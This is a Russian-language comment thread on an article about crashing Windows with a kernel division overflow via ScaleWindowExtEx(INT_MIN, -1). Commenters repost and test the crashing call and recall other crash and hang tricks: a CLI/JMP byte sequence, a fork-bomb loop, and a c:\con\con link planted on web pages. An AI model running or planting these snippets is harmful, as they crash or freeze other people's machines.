Comments 256
Эх молодежь… А еще лет 15 назад всего то две команды ассемблера нужны были:
1) запретить все прерывания
2) уйти в режим ожидания прерывания
Конечно не синий экран, но только хардрезет помогал вернуться в систему.
1) запретить все прерывания
2) уйти в режим ожидания прерывания
Конечно не синий экран, но только хардрезет помогал вернуться в систему.
В 95 надо было в блокноте написать «ъль», переименовать в com и запустить. «ъ» — запрет прерываний, а «ль» — вроде, прыжок на предыдущую инструкцию. Хотя за давностью лет, могу и напутать.
Ага, именно так — прыжок на предыдущую инструкцию для бесконечного цикла.
Интересно то, что если процессор Intel и под OS/2, то эту задачу можно было убить без перезагрузки в силу особенности многозадачности этой ОС на процессорах Intel. Эта особенность иногда использовалась для холиваров Intel-AMD в своё время.
Интересно то, что если процессор Intel и под OS/2, то эту задачу можно было убить без перезагрузки в силу особенности многозадачности этой ОС на процессорах Intel. Эта особенность иногда использовалась для холиваров Intel-AMD в своё время.
а cli / hlt чем хуже был? :)
Не помню подробности. Вроде DOS вис, а Windows не вис. На бесконечном цикле Windows точно вис.
За давним временем могу, конечно, путать по поводу cli,hlt.
За давним временем могу, конечно, путать по поводу cli,hlt.
не так. CLI / STI.
STI это установка флага разрешения прерываний. А автор имел в виду выключить прерывания и сделать останов процессора.
я понял, но процитирую то, что осталось из OS/2 Warp 3 до определенного FixPack:
Для работы с прерываниями используются команды микропроцессора:
Sti — set interrupt (I=1, разрешить прерывание)
Cli — clear interrupt (I=0, запретить прерывание)
Если за командой CLI не следует STI, то машина “зависает”, так как клавиатура не реагирует на нажатие клавиш. Для программирования прерываний используется IMR — регистр маски прерываний.
Для работы с прерываниями используются команды микропроцессора:
Sti — set interrupt (I=1, разрешить прерывание)
Cli — clear interrupt (I=0, запретить прерывание)
Если за командой CLI не следует STI, то машина “зависает”, так как клавиатура не реагирует на нажатие клавиш. Для программирования прерываний используется IMR — регистр маски прерываний.
Насколько я помню, этими «тремя заветными байтами» были FA EB FE, т.е. третьим символом должно быть «ю».
Ух! Интересно! А можно сейчас в блокноте чтонибудь написать, переименовать в ехе и запустить?)
Или мп3 пару мелодий написать))
Или мп3 пару мелодий написать))
Нельзя. Зато можно взять mspaint.exe и прослушать в плеере.
Пруфлинк: soundcloud.com/r2bl3nd/windows-7-x64-ms-paint-exe
Пруфлинк: soundcloud.com/r2bl3nd/windows-7-x64-ms-paint-exe
Эх молодежь… А еще лет 65 назад всего то один мотылек нужен был:
1) берем мотылька
2) помещаем в реле
Конечно не синий экран смерти, но только ругательства инженеров и переборка половины машины помогали вернуться в систему.
https://ru.wikipedia.org/wiki/Баг
1) берем мотылька
2) помещаем в реле
Конечно не синий экран смерти, но только ругательства инженеров и переборка половины машины помогали вернуться в систему.
https://ru.wikipedia.org/wiki/Баг
всего то один мотылек
Настоящие программисты пишут
c:\>copy con program.exe
Это неправославный аналог cat.
вроде, cat так не умеет
Умеет, достаточно сделать cat без параметров.
Чтобы выйти нажать Ctrl-C
Чтобы выйти нажать Ctrl-C
Ctrl-D же, чтоб конец файла послать.
а, и правда. век живи — век учись.
Обычно рекомендуют такую конструкцию:
("> " ставится автоматически)
Можно скопипастить (без "> ") и не требуется магических комбинаций клавиш.
$ cat <<EOF > filename
> line 1
> line 2
> EOF
("> " ставится автоматически)
Можно скопипастить (без "> ") и не требуется магических комбинаций клавиш.
Лучше в примерах сразу писать без
>, чем объяснять, что его там нет. А то PS2 может быть разным.cat << EOF интересен не тем, что не нужны «магические» комбинации клавиш (кстати, stty eof $new позволит вам поменять <C-d> на что‐то другое). А тем, что, во‐первых, может быть использован в скриптах (<C-d> нельзя), во‐вторых, использует zle/readline/libedit/…, позволяя вносить правки в текущую строку, и, в‐третьих, полностью сохраняются в истории (т.е. можно вносить правки после запуска команды, хотя работа с многострочным вводом в оболочках не слишком удобна, да и именно код после << EOF сохраняют не все).и не помнят, как оттуда выйти :)
Ну, надо сказать, что сейчас этот способ все еще работает :)
Сейчас сюда придет товарищ с ником, состоящим из двух этих команд.
А в наше время писалось что-то типа
while (true)
{
fork();
}
Приводить данный код без метода «fork();» Не имеет смысла.
Или у вас там только чистая нагрузка на цп?
Да и вообще в статье не об этом.
Завтра, кстати, попробую, расскажу о результатах с мингв.
Или у вас там только чистая нагрузка на цп?
Да и вообще в статье не об этом.
Завтра, кстати, попробую, расскажу о результатах с мингв.
Понял. Спасибо.
Кстати на mingw скомпилировалось и наура, но возникла маленькая проблема.
Если у вас компилятор ругается на SetLayout. Вот в этом месте (wingdi.h) тот самый прототип.
Скорее всего WINVER = 0x0400.
Чтобы исправить достаточно добавить «7 строку» с этим прототипом.
Кстати на mingw скомпилировалось и наура, но возникла маленькая проблема.
Если у вас компилятор ругается на SetLayout. Вот в этом месте (wingdi.h) тот самый прототип.
#if (WINVER >= 0x0500)
WINGDIAPI DWORD WINAPI GetLayout(HDC);
WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
#endif
Скорее всего WINVER = 0x0400.
Чтобы исправить достаточно добавить «7 строку» с этим прототипом.
#include <windows.h>
WINGDIAPI DWORD WINAPI SetLayout(HDC, DWORD);
int main()
{
//////
UFO just landed and posted this here
<a href="file://c:\con\con">Супер ссылка</a>Вышибало 95\98. Люди удивлялись, ругались, перезагружались и жали на «Супер ссылку» заново.
А ещё можно было на сайте разместить ссылку на картинку с таким адресом. Тогда вышибало при входе на этот сайт.
А вот у людей есть такие папки
А их никто и не запрещает их создавать. Если не даёт система, то есть и другие способы. Можно, например, зайти на компьютер с Windows через samba-клиента на Linux и создать там папку с точкой в конце имени. Потом сколько не изголяйся на Windows, удалить эту папку никоим образом не получится, кроме как снова зайти из Linux и удалить.
CreateFile с FILE_FLAG_POSIX_SEMANTICS и FILE_FLAG_DELETE_ON_CLOSE не поможет?
Я некоторое время назад перестал пользоваться Windows постоянно. Интересно было бы почитать о тонкостях этой системы, ибо с ней постоянно сталкиваешься. Можете дать ссылки по теме? Или сами написать подробнее.
Я обычно читаю вот тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
Про FILE_FLAG_DELETE_ON_CLOSE я прочитал тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915(v=vs.85).aspx
Про FILE_FLAG_DELETE_ON_CLOSE я прочитал тут: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915(v=vs.85).aspx
Особенности Советского образования заставили меня учить немецкий в школе. В результате я хреново ориентируюсь в английском и совершенно не знаю немецкого. Буду благодарен, если напишете статью. Думаю и другие на хабре будут не против. Тем более в особенностях Windows очень много скрытых вещей.
Совесткого? Вы 90го года, в это время у всех был выбор, если не языка. то школы точно. Да и никто не мешает учить язык самому. Я сам учил, в школе не научили.
Книгу «Windows Internals» Марка Руссиновича и других.
Никаких проблем с Windows:
mkdir \\?\c:\temp\conrmdir \\?\c:\temp\con
До некоторого времени, если я не ошибаюсь, ntfs драйвер под линуху позволял писать в имена файлов все то, что можно писать и в ext разделах, тоесть всякие служебные символы, типа ?*/\. При попытке открыть/удалить/переименовать это в винде у нее клинило моск. Сделать что-то с таким файлом, помещенным в корень диска, средствами проводника и консоли было не возможно.
русская «с» или «о»?
ууу… я так в далеком 90-м году великого программиста «хакнул». Переименовал в его любимой foxbase.exe иксы на русскую ХА. Долго он мучился в Norton Commander, пока не сообразил запустить DIR и изучить названия файлов. А прежде ему пришлось час потратить на изучение настроек DOS и конфигурацию NC.
Старый прикол. Шесть command.com под DOSом :)
Тогда vbscript из браузера умел тупо выполнять что угодно через shell.
Это в виндовс 8 такое няшное окно смерти?
да
Да, только без градиента
UFO just landed and posted this here
Я на него вдоволь насмотрелся, пытаясь установить на ноутбук HP dv6 драйвера на видеокарту ATI Radeon HD6550M. В конечном счете плюнул и пользуюсь интегрированной графикой Intel.
Совершенно непонятно, почему ни AMD, ни MS, ни HP эта распространенная проблема не беспокоит.
Совершенно непонятно, почему ни AMD, ни MS, ни HP эта распространенная проблема не беспокоит.
Это не баг — это фитча.
Ну а если серьезно — Я помню то время когда спецы из M$ говорили — «перенос функций оконного интерфейса не будет влиять на безопасность»
Ну а если серьезно — Я помню то время когда спецы из M$ говорили — «перенос функций оконного интерфейса не будет влиять на безопасность»
Пробовали вот это?
У меня AMD 6650M + Intel HD3000. Отлично все работает, еще с RC.
+На сайте HP была KBшка ещё, которую тоже желательно поставить (если я не ошибаюсь). К сожалению, не помню номер.
У меня AMD 6650M + Intel HD3000. Отлично все работает, еще с RC.
+На сайте HP была KBшка ещё, которую тоже желательно поставить (если я не ошибаюсь). К сожалению, не помню номер.
А я вижу его почти каждый раз, когда работаю с GNS3. При остановке эмуляции — краш.
Давненько на W8 DP пытался firewall поставить, каждая установка кончалась рожицей, приятного мало.
стабильно раз в пару месяцев сам по себе падает уже с пол года.
Гляньте железо. Конденсаторы на мамке или оперативку. Если железо совсем старое, например HARD IDE, тогда бывали «удачные» проблемы в самом шлейфе.
Да я в курсе всего этого, железо — новый ноут, не дешевый. Может с ним конечно беда и есть какая-то но так нареканий не вызывает, я изначально на драйвера грешил т.к. больше всего проблем с wifi, ноут вечно ложу спать и так через пару недель-месяц приходиться удалять и искать в диспетчере задач карту т.к. её впритык не видит (когда лень перезагружаться). В конечном счёте меня это особо не напрягает, жить можно но осадочек остаётся.
Danov всё верно говорит. Ещё бывает полезно «пересобрать» — снять озу, платы расширения, шлейфы отключить, а потом всё назад собрать. М.б. ещё паста на процессоре высохла. В общем стабильные бсоды это почти всегда железо, иногда бывают случаи очень кривых драйверов, но они редки.
У меня при выходе из гибернации падает раз в несколько недель. Два раза просто так падала.
Анализируйте дампы, смотрите в каком файле падает. Падение при выходе из гибернации с большей вероятностью кривость дров, или их несовместимость с железом. Ну т.е. как вариант может быть ещё проблема с биосом мамки, видяхи, или ещё какой железки.
Было такое, на ХР все работало, а на 7ке иногда падало при выходе из гибернации, очень бесило. Решилось заменой ОЗУ.
Похоже. Кстати странное название для ошибки S*_V*_S*
В windows 7 просто service что-то Exception.
В windows 7 просто service что-то Exception.
> Есть еще одна исключительная инструкция — деление INT_MIN на -1.
И в то же время INT_MIN+INT_MIN вернет 0 и это никого не парит. Где логика, где разум?
И в то же время INT_MIN+INT_MIN вернет 0 и это никого не парит. Где логика, где разум?
Казалось бы, с логикой всё в порядке.
INT_MAX = 2^31 — 1
-INT_MAX = -2^31 + 1
INT_MIN = -2^31 = -INT_MAX — 1
Значит INT_MIN + INT_MIN = INT_MIN — INT_MAX — 1
Заметим, что INT_MIN — 1 = INT_MAX из-за переполнения.
Тогда INT_MIN + INT_MIN = INT_MAX — INT_MAX = 0
Что и требовалось доказать.
Поправьте, если я ошибаюсь.
INT_MAX = 2^31 — 1
-INT_MAX = -2^31 + 1
INT_MIN = -2^31 = -INT_MAX — 1
Значит INT_MIN + INT_MIN = INT_MIN — INT_MAX — 1
Заметим, что INT_MIN — 1 = INT_MAX из-за переполнения.
Тогда INT_MIN + INT_MIN = INT_MAX — INT_MAX = 0
Что и требовалось доказать.
Поправьте, если я ошибаюсь.
Совершенно верно, в рамках того «как принято» именно так и есть. Но вот чем это принципиально отличается от INT_MIN/-1…
Тем, что есть инструкции знаковых и беззнаковых умножений-делений, а сложение только для беззнаковых (потому что специально такая форма записи отрицательных чисел была выбрана, чтобы можно было обойтись 1 инструкцией).
Тем, что вы получаете число, превышающее максимально допустимое (а не 0).
С помощью INT_MIN/-1 ничего полезного не получить, а сигнализировать желательно. А со сложением/вычитанием можно реализовывать точность больше разрядности процессора/регистров.
INT_MIN+INT_MIN вернет 0 и установит флаги переноса и переполнения. А логика в том, что эта операция является совершенно корректной в кольце вычетов по модулю 2^32.
Это особенности x86, сложение/вычитание/умножение никогда сами не возбуждают исключения из-за переполнения, а вот деление — да.
INT_MIN+INT_MIN — это undefined behaviour.
Интересно, почему заминусовали? Это из-за того, что разговор о винде, а значит x86 и msvc?
Нет, потому что INT_MIN+INT_MIN — это совершенно корректная операция, подробнее писали выше habrahabr.ru/post/179543/#comment_6233471
UFO just landed and posted this here
Переполнение знаковых целых в С является UB. Вот вам пример когда это проявляется.
Да, переполнение знаковых — UB, но INT_MIN — вполне конкретное число, а не любое знаковое.
… точно также и с другими специальными константами из limits. В физическом мире -∞ и +∞ числа далеко не конкретные, а лишь обозначающие некий диапазон. Однако в железках, в виду ограничения, вызванного реализацией (разрядностью) эти числа вполне конкретные.
Если переполнение любых знаковых чисел — UB, то и переполнение конкретных знаковых чисел вроде INT_MIN — UB. Компилятор, в частности, имеет право удалить все что следует за
INT_MIN+INT_MIN;.
Наверное, потому что 0x80000000 + 0x80000000 всё же вполне себе «defined» behavior.
Наверное, потому что разговор по сути идет о командах процессора, а не о языке С
UFO just landed and posted this here
Не проверял, но интересно узнать результат.
Так попробуйте (только осторожно): BlueScreen
Я это с VS2012 скомпилировал, рантайм вот здесь, если что.
Win7 Home Premium x64 падает как при запуске 32-х, так и 64-х битного приложения.
Я это с VS2012 скомпилировал, рантайм вот здесь, если что.
Win7 Home Premium x64 падает как при запуске 32-х, так и 64-х битного приложения.
wine — падает с ошибкой деления на ноль. Обидно, такую фичу не портировали)))
Установка библиотек потребует прав администратора, так что уронить сервер терминалов будет сложновато. ;)
Забавно. Проверил вашу сборку. Собрал сам и с VS2012 и с MinGW — система не падает. Неужели исправили?
Win 8 Pro with Media Center x64
Win 8 Pro with Media Center x64
проверил — работает отлично. только из перезагрузки. заявленный функционал присутствует в полной мере. багов нет ;)
win7 x64 (без апдейтов), bsod сразу после запуска ;)
win7 x64 (без апдейтов), bsod сразу после запуска ;)
Скомпилировал в VS2008 в 32bit, можно здесь взять. Для этого экзешника специальный рантайм вряд ли потребуется.
Под WinXP 32bit молча перезагрузилось без синего экрана. В эвентлоге такое:
Под WinXP 32bit молча перезагрузилось без синего экрана. В эвентлоге такое:
System Error Error code 0000007f Parameters 00000000, 00000000, 00000000, 00000000 
win8 pro x64 — не падает ни 32, ни 64.
Функция ресайза окна в ядре. Это прекрасно.
Не, ну а куда его ещё с таким названием ОС?
В своё время Марк Руссинович говорил, что ничего плохого в этом нет. И это было по-моему даже до его работы в MS.
Подобные аспекты работы WIndows заставляют меня вспомнить старую «добрую» одноименную передачу с Дмитрием Нагиевым :)
Думается эта функция столь древняя, что осталась ещё со времён прямо работы с памятью видеокарты.
D:\down>cl w.c /link gdi32.lib
Microsoft (R) C/C++ Optimizing Compiler Version 17.00.60315.1 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
w.c
Microsoft (R) Incremental Linker Version 11.00.60315.1
Copyright (C) Microsoft Corporation. All rights reserved.
/out:w.exe
gdi32.lib
w.obj
D:\down>w
Windows 7 x64, не падает
У меня вот так не падает:
ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL);
А вот так падает:
ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
Скорее всего компилятор что-то себе наоптимизировал, но разбираться, право, лень.
Проект в комментах выше.
ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL);
А вот так падает:
ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
Скорее всего компилятор что-то себе наоптимизировал, но разбираться, право, лень.
Проект в комментах выше.
потверждаю, хотя и приходиться писать после BSOD-a :)
На Windows8 x64 и с ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL); не падает.
Выдает в консоль сообщение «ScaleWindowExtEx() failed»
Выдает в консоль сообщение «ScaleWindowExtEx() failed»
А впрочем ScaleWindowExtEx (dc, ((int) 0x8000/0x80000000), -1, 1, 1, NULL) и не должна падать, ведь (int) 0x8000/0x80000000 — это ж нуль просто. Вижу, автор в статье уже поправил.
Windows 8 x64 не падает, расходимся
А я знаю, как уронить Windows 8 x64 и не имея другой винды хрен подымешь:
нужно просто установить в систему неподписанный драйвер (любой) и всё!
1) При загрузке винда падает в синий экрна по причине наличия неподписанного драйвера
2) Варинта «Загрузить последнею удачную загрузку» (или как он там звучит) в восьмерки отсутствует
3) из под линухи удалить драйвер не получается — отказывается монтировать «коцанный» NTFS раздел, то есть нужно винда, чтобы chkdks проверить раздел и только потом удалять файл драйвера.
Это я выяснял, пока экспериментировал с установкой Астер v7 — зарепенился уже, даже включение тестового режима (перед установкой, естественно) не помогает.
И каждый раз приходиться подрубать диск через USB к ноуту. Иначе никак.
Совет вирусописателям — поставил драйвер, файл которого хрен сотрешь и гуляй
нужно просто установить в систему неподписанный драйвер (любой) и всё!
1) При загрузке винда падает в синий экрна по причине наличия неподписанного драйвера
2) Варинта «Загрузить последнею удачную загрузку» (или как он там звучит) в восьмерки отсутствует
3) из под линухи удалить драйвер не получается — отказывается монтировать «коцанный» NTFS раздел, то есть нужно винда, чтобы chkdks проверить раздел и только потом удалять файл драйвера.
Это я выяснял, пока экспериментировал с установкой Астер v7 — зарепенился уже, даже включение тестового режима (перед установкой, естественно) не помогает.
И каждый раз приходиться подрубать диск через USB к ноуту. Иначе никак.
Совет вирусописателям — поставил драйвер, файл которого хрен сотрешь и гуляй
есть же ntfsfix в линуксе
zuz@zuz-desktop:~$ sudo ntfsfix /dev/sda3
Mounting volume… Windows is hibernated, refused to mount.
FAILED
Attempting to correct errors…
Processing $MFT and $MFTMirr…
Reading $MFT… OK
Reading $MFTMirr… OK
Comparing $MFTMirr to $MFT… OK
Processing of $MFT and $MFTMirr completed successfully.
Setting required flags on partition… OK
Going to empty the journal ($LogFile)… OK
Windows is hibernated, refused to mount.
Remount failed: Operation not permitted
Mounting volume… Windows is hibernated, refused to mount.
FAILED
Attempting to correct errors…
Processing $MFT and $MFTMirr…
Reading $MFT… OK
Reading $MFTMirr… OK
Comparing $MFTMirr to $MFT… OK
Processing of $MFT and $MFTMirr completed successfully.
Setting required flags on partition… OK
Going to empty the journal ($LogFile)… OK
Windows is hibernated, refused to mount.
Remount failed: Operation not permitted
Восьмерка же не на ntfs, а на некой refs, которая не совсем с ней совместима.
Хм, а почему же оно спокойно проверяется из-под Windows XP?
Да и какая разница, на чем она — результат-то один и тот же — не имея другой копии любой винды данную проблему не починить.
Да и какая разница, на чем она — результат-то один и тот же — не имея другой копии любой винды данную проблему не починить.
Нет.
Ну вот раздел с ntfs старый монтируется, а раздел с восьмеркой никак вообще, хотя он точно чистый и работа завершалась штатным образом. Что-то там в файлухе явно изменили.
Во всяком случае ReFS это другая файловая система, доступна она только на серверной Windows и не для загрузочных дисков. В NTFS в связи с выходом Win8, насколько я знаю, ничего не менялось.
У меня монтируется либо после проверки chkdsk после этих экранов смерти, и до этого при отправке компьютера из Win 8 в «Перезагрузка»
Для таких случаев ключик «force» у mount предусмотрен.
zuz@zuz-desktop:~$ sudo mount /dev/sda3 /mnt -o force
Windows is hibernated, refused to mount.
Failed to mount '/dev/sda3': Операция не позволена
The NTFS partition is in an unsafe state. Please resume and shutdown
Windows fully (no hibernation or fast restarting), or mount the volume
read-only with the 'ro' mount option.
Windows is hibernated, refused to mount.
Failed to mount '/dev/sda3': Операция не позволена
The NTFS partition is in an unsafe state. Please resume and shutdown
Windows fully (no hibernation or fast restarting), or mount the volume
read-only with the 'ro' mount option.
Судя по выводу, винда в сон ушла (вопрос — как и когда? во время bsod?), поэтому и редактировать раздел не рекомендуется. Гугл в первой же позиции выдал "-o remove_hiberfile".
Да будет вам счастье.
Да будет вам счастье.
Насколько понимаю, восьмерка для ускорения загрузки использует механизм гибернации.
Спасибо большое за сей параметр — он помог.
По поводу хибернейта — точно так же ругается mount на раздел, если выходя из винды восьмой сделать Завершение работы, а не Перезагрузиться (т.е. Завершение работы — это как раз и есть завершение всех программ+уход в хибернейт)
По поводу хибернейта — точно так же ругается mount на раздел, если выходя из винды восьмой сделать Завершение работы, а не Перезагрузиться (т.е. Завершение работы — это как раз и есть завершение всех программ+уход в хибернейт)
Дополню картину:
моя восьмёрка иногда не выходит из спящего режима (из ждущего не вопрос) с выпадением в синий экран. Пара перезагрузок через ресет решает проблему и винда грузиться по холоду. НО! если вдруг она не загрузиться (ну мало ли что, ноут сдох), то всё!
Смотрите:
1) винда была в спящем и не проснулась/умер комп
2) из под линухи подмонтировать нельзя даже с force и remove_hyberfile
~$ sudo mount -o remove_hyberfile,force /dev/sda3 /mnt/win7
Windows is hibernated, refused to mount.
Failed to mount '/dev/sda3': Операция не позволена
The NTFS partition is in an unsafe state. Please resume and shutdown
Windows fully (no hibernation or fast restarting), or mount the volume
read-only with the 'ro' mount option.
В описанном мною случае ранее винда не была в hybarnate, а перезагружалась.
Меня еще добивает тот факт, что _все_ диски нельзя подмонтировать по причине хибернейта, если винда была в спячке.
моя восьмёрка иногда не выходит из спящего режима (из ждущего не вопрос) с выпадением в синий экран. Пара перезагрузок через ресет решает проблему и винда грузиться по холоду. НО! если вдруг она не загрузиться (ну мало ли что, ноут сдох), то всё!
Смотрите:
1) винда была в спящем и не проснулась/умер комп
2) из под линухи подмонтировать нельзя даже с force и remove_hyberfile
~$ sudo mount -o remove_hyberfile,force /dev/sda3 /mnt/win7
Windows is hibernated, refused to mount.
Failed to mount '/dev/sda3': Операция не позволена
The NTFS partition is in an unsafe state. Please resume and shutdown
Windows fully (no hibernation or fast restarting), or mount the volume
read-only with the 'ro' mount option.
В описанном мною случае ранее винда не была в hybarnate, а перезагружалась.
Меня еще добивает тот факт, что _все_ диски нельзя подмонтировать по причине хибернейта, если винда была в спячке.
странно, у меня проблема с монтированием была всего один раз — но пофиксил достаточно быстро именно из-под линукса.
Насколько я помню, ntfsfix просто ставит на фс флаг «нужна проверка», после чего венда при виде этого раздела во время загрузки запускает fsck.
Раз нельзя загружать непрописанный драйвер, то почему его можно устанавливать? Разработчиков по объявлению набирали?
А ещё была такая команда C:/con/con :-)
XP и ниже зависал, если установить текущему потоку REALTIME приоритет, и запустить while(1)
Windows 2008 R2 Standart x64 не падает.
Да, в коде есть небольшая ошибка — в третьей снизу строке должно быть hdc вместо Device, иначе будет ошибка компиляции.
Да, в коде есть небольшая ошибка — в третьей снизу строке должно быть hdc вместо Device, иначе будет ошибка компиляции.
Объясните, как
Если считать руками, получается 0; если считать с помощью gcc, опять получается 0.
((int) 0x8000/0x80000000)
Если считать руками, получается 0; если считать с помощью gcc, опять получается 0.
Я уроню эту систему с пяти строк!
Когда-то давным-давно win9x прекрасно вешалась com-файлом из 2х байт — CLI HLT (если мне не изменяет память, 0xFA 0xF4). Прогресс же!
очевидно, в х64 нужно пробовать сделать 64битное переполнение, а не 32битное?
ведь x86 функции там идут на обертки
ведь x86 функции там идут на обертки
Я не нашёл такой функции, которая принимает два 64-битных параметра и делит один на другой в ядре системы.
А та-же самая ScaleWindowExtEx в 64-битной gdi32.dll?
Такой, к сожалению, нету. Есть только функция, которая принимает 32-битные числа.
UFO just landed and posted this here
Кстате да, я так и не понял почему в 64битной венде 64битные dll с именами *32 пошли в папку system32, а 32битные переехали в syswow64… бред же…
UFO just landed and posted this here
Это понятно. непонятно, нахрена «все» было обзывать с постфиксом "*32", если не с планами затем сделать аналогичное "*64"…
тут как раз 32 не потому что потом будет 64, а потому что раньше было 16
Но ведь логично же продолжить ряд названий… или у меня какая-то другая логика?..
В своё время было тут в соответствующем хабе.
technet.microsoft.com/en-us/magazine/ff955767.aspx
В мире оказалось слишком много программ с захардкоженным именем папки System32, и чтобы их не сломать, оказалось проще ввести перенаправление на уровне файловой системы. 32-битные приложения, обращаясь к system32, видят 32-битные версии, реально лежащие в syswow64, 64-битные, обращаясь туда же, видят 64-битные версии.
В мире оказалось слишком много программ с захардкоженным именем папки System32, и чтобы их не сломать, оказалось проще ввести перенаправление на уровне файловой системы. 32-битные приложения, обращаясь к system32, видят 32-битные версии, реально лежащие в syswow64, 64-битные, обращаясь туда же, видят 64-битные версии.
Мне кажется странным это обоснование.
Если в 32битной программе жестко прописан путь к System32, то если в 64битной системе размещать новые 64битные библиотеки в System64, это ничего не сломает. 64битные программы сами по себе не берутся, их как минимум перекомпилируют производители, а следовательно они сразу найдут, где прописан неправильный путь.
Если в 32битной программе жестко прописан путь к System32, то если в 64битной системе размещать новые 64битные библиотеки в System64, это ничего не сломает. 64битные программы сами по себе не берутся, их как минимум перекомпилируют производители, а следовательно они сразу найдут, где прописан неправильный путь.
Проблема в том, что подобная ошибка выглядит не как окошко с сообщением «Прописан неправильный путь», а, например, как «Модуль, написанный уволившимся пять лет назад человеком, падает при инициализации» — причём расследование покажет, что падение происходит из-за некорректной обработки ошибки E_NOTFOUND, возвращаемой другим модулем, написанным шесть лет назад.
Другая проблема, обсуждаемая в той статье, — наличие скриптов, в частности, bat-ников, с жёсткими путями. Их перекомпилировать не нужно.
Другая проблема, обсуждаемая в той статье, — наличие скриптов, в частности, bat-ников, с жёсткими путями. Их перекомпилировать не нужно.
С потенциальной проблемой со скриптами согласен, а вот с модулями, требующими перекомпиляции я существенной проблемы все-еще не вижу, ибо как показывает практика такой низкокачественный код после простой перекомпиляции работать не будет и все равно потребуется его выправление.
А так как 32битную инфраструктуру никто не убирал, то старые приложения продолжали работать без ошибок и те, кто не мог адаптировать их под 64 бита могли продолжать выпускать 32битные версии.
А так как 32битную инфраструктуру никто не убирал, то старые приложения продолжали работать без ошибок и те, кто не мог адаптировать их под 64 бита могли продолжать выпускать 32битные версии.
32-битную архитектуру убрать пытались, правда, не MS, а Intel: первыми 64-битными процессорами, поддерживаемыми релизом Windows, были Itanium, где WOW64-подсистема содержала программную эмуляцию x86 с соответствующей скоростью работы. Если бы Itanium взлетел, то отсутствие 64-битной версии какой-нибудь важной программы было бы близким к стопперу перехода, что MS невыгодно.
Простой перекомпиляции в случае сколько-нибудь нетривиального кода, конечно, недостаточно для переноса на новую архитектуру. Но 1) каждый новый момент, который нужно учитывать, уменьшает число желающих хоть что-то делать и 2) если имя уже было захардкожено, то получатся два варианта кода — под #ifdef _WIN64 и #elif — что усложнит дальнейшую поддержку, а в MS всё же стараются упрощать жизнь программистам, а не усложнять.
Ещё про переход 32 -> 64, хоть и не про файловую систему, но философию проясняет: blogs.msdn.com/b/oldnewthing/archive/2012/10/29/10363484.aspx. Несколько цитат, курсив из оригинала:
Простой перекомпиляции в случае сколько-нибудь нетривиального кода, конечно, недостаточно для переноса на новую архитектуру. Но 1) каждый новый момент, который нужно учитывать, уменьшает число желающих хоть что-то делать и 2) если имя уже было захардкожено, то получатся два варианта кода — под #ifdef _WIN64 и #elif — что усложнит дальнейшую поддержку, а в MS всё же стараются упрощать жизнь программистам, а не усложнять.
Ещё про переход 32 -> 64, хоть и не про файловую систему, но философию проясняет: blogs.msdn.com/b/oldnewthing/archive/2012/10/29/10363484.aspx. Несколько цитат, курсив из оригинала:
When updating the interfaces for 64-bit Windows, there were a few guiding principles. Here are two of them.
* Don't change an interface unless you really need to.
* Do you really need to?
The only consequence (so far) is that the number of «things in code being ported from 32-bit Windows to 64-bit Windows needs to watch out for» has been incremented by one. Of course, too much of this incrementing, and the list of things becomes so long that developers are going to throw up their hands and say «Porting is too much work, screw it.»
These are the worst types of breaking changes: The ones where the compiler doesn't tell you that something is wrong. Your code compiles, it even basically runs, but it doesn't run correctly.
Remember, you want to make it easier for people to port their program to 64-bit Windows, not harder. The goal is make customers happy, not create the world's most architecturally pure operating system. And customers aren't happy when the operating system can't run their programs (because every time the vendor try to port it, they keep stumbling over random subtle behavior changes that break their program).
Кстати, а в Редмонд письмицо отправили?
p.s: мая путей для этого что то не нашёл, попрятано видимо.
p.s: мая путей для этого что то не нашёл, попрятано видимо.
По поводу статьи замечания:
1) зачем добавлять gdi32.lib??? Можно загрузить все функции через LoadLibrary/GetProcAddress
2) почему в коде нету опции?
выключить оптимизацию и включить статическую компоновку
3) где исходники на GitHub?
4) как и любой PoC рекомендуется добавить MessageBoxA перед запуском (по этическим причинам)
1) зачем добавлять gdi32.lib??? Можно загрузить все функции через LoadLibrary/GetProcAddress
2) почему в коде нету опции?
#pragma optimize("",off)
#pragma comment(compiler,"/MT");
выключить оптимизацию и включить статическую компоновку
3) где исходники на GitHub?
4) как и любой PoC рекомендуется добавить MessageBoxA перед запуском (по этическим причинам)
Прочитал, и думаю прав товарищ Таненбаум, все становится большим и сложным и придется сначала спрыгнуть с windows, потом с linux, а потом на то, что будет после minix.
У меня в BSOD Windows 8 вываливается при попытке выйти со спящего режима при убитом аккумуляторе, вернулся на семерку, хотя думаю что это не совсем верная реакция на такую ситуацию со стороны операционки
В ядре Windows принято не использовать переменные с плавающей точкой
Вроде бы в документации к ядру Линукс английским по белому написано то же самое: «Ду нат юз флоатс ин кернел коуд… ат олл.»
// Off topicЕсли кому-то, как и мне, стало интересно, почему HomoLuden написал «нат», а не «нот»: IPA для not в британском английском — [nɒt], а в американском английском — [nɑt].
А кстати, в чем резон?
На 80386 без 80387 не запустится :)
Сохранять регистры FPU долго
На x86 при переключении контекста регистры FPU автоматом не сохраняются.
Ну а в WinAPI в параметрах функций не используется плавающая точка, потому что изначально Windows могла работать на процессорах, не поддерживающих плавающую точку. До 486 поддержка операций с плавающей точкой осуществлялась сопроцессором, который мог стоять в системе, а мог и не стоять.
Наконец, это тупо быстрее.
Ну а в WinAPI в параметрах функций не используется плавающая точка, потому что изначально Windows могла работать на процессорах, не поддерживающих плавающую точку. До 486 поддержка операций с плавающей точкой осуществлялась сопроцессором, который мог стоять в системе, а мог и не стоять.
Наконец, это тупо быстрее.
Windows 8 Professional x64 не падает, пробовал варанты:
ScaleWindowExtEx (dc, -2147483647 — 1, -1, 1, 1, NULL);
ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
Компилил через VS2012 Pro
В опциях ставил без оптимизаций.
ScaleWindowExtEx (dc, -2147483647 — 1, -1, 1, 1, NULL);
ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
Компилил через VS2012 Pro
В опциях ставил без оптимизаций.
